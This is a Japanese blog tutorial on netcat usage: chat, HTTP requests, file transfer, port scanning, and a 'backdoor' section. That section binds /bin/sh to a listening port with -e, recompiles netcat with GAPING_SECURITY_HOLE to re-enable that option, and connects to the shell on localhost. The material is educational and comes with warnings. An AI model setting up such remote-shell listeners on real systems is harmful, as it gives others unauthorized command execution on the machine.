netcat(ncコマンド)の使い方 | Linux

netcatとは

netcatの使い方をまとめておきます。
スイスアーミーナイフ(十徳ナイフ)とも呼ばれるnetcatは
非常に多くの使い方ができるツールです。
ネットワークの万能ツールなのですが、
一言で「何ができる」とは言いづらいので実例で
一つずつ使い方を見ていこうと思います。

 

 
 


netcatでチャットしてみる

【受け待ち側】

# nc -l <ポート番号>

-lでリッスンモードとし、指定したポート番号で受け待ちます。

【接続側】

# nc <ホスト名> <ポート番号>

指定したホスト名の指定したポートに接続します。

例:
受け待ち側

# nc -l 12345

接続側

# nc localhost 12345

接続が完了するとチャットのように
受け待ち側、接続側のどちらかで
文字列を打ったあとにEnterキーを押すと、
もう一方に表示されます。

接続側ではIPアドレスを指定していますが、

# nc 127.0.0.1 12345

のようにIPアドレスで指定しても同じ動きになります。

ちなみに上の例ではクライアントからの接続が切れると、
サーバー側のnetcatが終了しますが、

# nc -l -k <ポート番号>

のようにすることで、
クライアントからの接続が切れたあとも、
引き続き受け待ち状態となります。

他のオプションとして、-vオプションをつけることで、
接続してきたホストやポートなどの詳細情報を表示させることができます。

# nc -lv 12345
Listening on [0.0.0.0] (family 0, port 12345)
Connection from [127.0.0.1] port 12345 [tcp/*] accepted (family 2, sport 46622)

 
 
 


httpリクエストを送信する

# echo -en "GET / HTTP/1.0\n\n" | nc <ホスト名> 80

これで対象ホストの80番にhttpリクエストを送信できます。

echoコマンドの-enオプションですが、
改行コードを改行として表示するためのものです。

例えば以下のように-enを付けずにechoコマンドを実行すると

$ echo "GET / HTTP/1.0\n\n"
GET / HTTP/1.0\n\n

このように改行コードがそのまま表示されてしまいます。

-enを付けて実行すると

$ echo -en "GET / HTTP/1.0\n\n"
GET / HTTP/1.0

意図した通り、2回改行されて表示されます。

そしてこれをパイプを使ってncコマンドに投げることで、
httpリクエストが送信され、
リプライが返ってきます。

 
 
 


ファイルを転送する(FTP)

受け待ち側

nc -l -p <ポート番号> > <ファイル名>

接続側

nc <ホスト名> <ポート番号> < <ファイル名>

 
 
 
試してみます。
sendtxt.txtというファイルをつくって、
中身を”this is a text.”にします。
そしてポート番号12345で受け待ち状態とします。


# echo "this is a test." > sendtxt.txt
# cat sendtxt.txt 
this is a test.
# nc -l 12345 < sendtxt.txt 

 
次は接続側です。
recvtxt.txtという名前のファイルにリダイレクトします。

# nc localhost 12345 > recvtxt.txt
root@ysk-E200HA:/home/ysk# cat recvtxt.txt 
this is a test.

そしてその中身を表示してみると、
送信側ではsendtxt.txtだったファイルの中身が
転送されていることが確認できます。

 
 
テキストファイルのみではなく、
バイナリファイルも送信することができます。

また上の例では接続側から受け待ち側に
ファイルを転送していますが、以下のようにすることで
逆向き(受け待ち側から接続側に向けて)送信することもできます。

受け待ち側

nc -l -p <ポート番号> < <ファイル名>

接続側

nc <ホスト名> <ポート番号> > <ファイル名>

 
 
 
 
 


ポートスキャン

つぎはnetcatをポートスキャンに使ってみます。

# nc -zv localhost
nc: connect to localhost port 1 (tcp) failed: Connection refused
nc: connect to localhost port 2 (tcp) failed: Connection refused
nc: connect to localhost port 3 (tcp) failed: Connection refused
nc: connect to localhost port 4 (tcp) failed: Connection refused
nc: connect to localhost port 5 (tcp) failed: Connection refused
nc: connect to localhost port 6 (tcp) failed: Connection refused
nc: connect to localhost port 7 (tcp) failed: Connection refused
nc: connect to localhost port 8 (tcp) failed: Connection refused
//以下省略

 
 

また、以下のようにすると、
ポート1から1000までをスキャンするようになります。

# nc -zv localhost 1-1000

 
 



 
 
 


バックドアの作り方

非常に危険なので注意が必要。
外部から接続し、あらゆるプログラムを実行できてしまいます。

使い方は以下の通りです。

nc -l -p <ポート番号> -e <プログラム名>

nc -l -p 12345 -e /bin/sh

取り扱いに注意が必要なため、
apt-getなどでインストールしたnetcatでは
この"-e"オプションは無効化されています。

$ nc -l -p 12345 -e /bin/sh
nc: invalid option -- 'e'
This is nc from the netcat-openbsd package. An alternative nc is available
in the netcat-traditional package.
usage: nc [-46bCDdhjklnrStUuvZz] [-I length] [-i interval] [-O length]
	  [-P proxy_username] [-p source_port] [-q seconds] [-s source]
	  [-T toskeyword] [-V rtable] [-w timeout] [-X proxy_protocol]
	  [-x proxy_address[:port]] [destination] [port]

そのまま実行しようとすると上記のようなメッセージが出てしまいます。

 
 
 


ソースコードからコンパイルする

http://netcat.sourceforge.net/download.php
上記サイトの右上部分から

netcat-0.7.1.tar.gz (md5, sign)をダウンロードします。
(右側のSourceForgeをクリック)

ダウンロードしたディレクトリ
(デフォルトでは~/download/)に移動して以下のコマンドを実行します。

$ tar zxvf netcat-0.7.1.tar.gz
$ cd netcat-0.7.1/
$ ./configure 
$ make DFLAGS="-DGAPING_SECURITY_HOLE -DTELNET"

4行目のDFLAGS以下に指定しているのが"-e"オプション、
ついでに"-t"オプションの有効化です。

netcat-0.7.1/src/内に作られたnetcatが本体です。
普通にncとコマンドすると元々入っていた
netcatが実行されていまうので注意が必要です。

./src/netcat -l -p 12345 -e /bin/sh

こんな感じでバックドアが設置できました。

 
 
 


バックドアを使う

【攻撃される側】
先ほどの要領で、
ポート番号12345にプログラム"/bin/sh"を割り当てます。

./src/netcat -l -p 12345 -e /bin/sh

 
 

【攻撃する側】

./src/netcat localhost 12345

攻撃する側からlsコマンドを実行してみると
攻撃される側のフォルダ内部が出力されます。

もちろん他のコマンドも実行可能です。

 
 
 


netcatのヘルプ

# netcat -h
OpenBSD netcat (Debian patchlevel 1.130-3)
usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-O length]
	  [-P proxy_username] [-p source_port] [-q seconds] [-s source]
	  [-T toskeyword] [-V rtable] [-w timeout] [-X proxy_protocol]
	  [-x proxy_address[:port]] [destination] [port]
	Command Summary:
		-4		Use IPv4
		-6		Use IPv6
		-b		Allow broadcast
		-C		Send CRLF as line-ending
		-D		Enable the debug socket option
		-d		Detach from stdin
		-F		Pass socket fd
		-h		This help text
		-I length	TCP receive buffer length
		-i secs		Delay interval for lines sent, ports scanned
		-k		Keep inbound sockets open for multiple connects
		-l		Listen mode, for inbound connects
		-N		Shutdown the network socket after EOF on stdin
		-n		Suppress name/port resolutions
		-O length	TCP send buffer length
		-P proxyuser	Username for proxy authentication
		-p port		Specify local port for remote connects
        	-q secs		quit after EOF on stdin and delay of secs
		-r		Randomize remote ports
		-S		Enable the TCP MD5 signature option
		-s addr		Local source address
		-T toskeyword	Set IP Type of Service
		-t		Answer TELNET negotiation
		-U		Use UNIX domain socket
		-u		UDP mode
		-V rtable	Specify alternate routing table
		-v		Verbose
		-w secs		Timeout for connects and final net reads
		-X proto	Proxy protocol: "4", "5" (SOCKS) or "connect"
		-x addr[:port]	Specify proxy address and port
		-Z		DCCP mode
		-z		Zero-I/O mode [used for scanning]
	Port numbers can be individual or ranges: lo-hi [inclusive]

 
 
 


最後に

セキュリティ上非常に注意が必要なツールです。
ただ、防御を知るためには攻撃の手法を知ることが
もっとも良いと思っています。
ただし、くれぐれも自分の環境内部でテストするようにして下さい。

 
 
【関連書籍】

netcatを使わずにnetcatと同じようなことができるツールを自作しています。
今回紹介したバックドアなども自作しています。
この書籍を読めば、netcatがどのように動作しているかが理解できると思います。

 
 
【関連記事】
Apache2、PHP7.0をインストール | Ubuntu
TCPプロトコルをTCPDUMPで解析 | ネットワークプログラミング7 | Linux

コメントを残す

メールアドレスが公開されることはありません。 * が付いている欄は必須項目です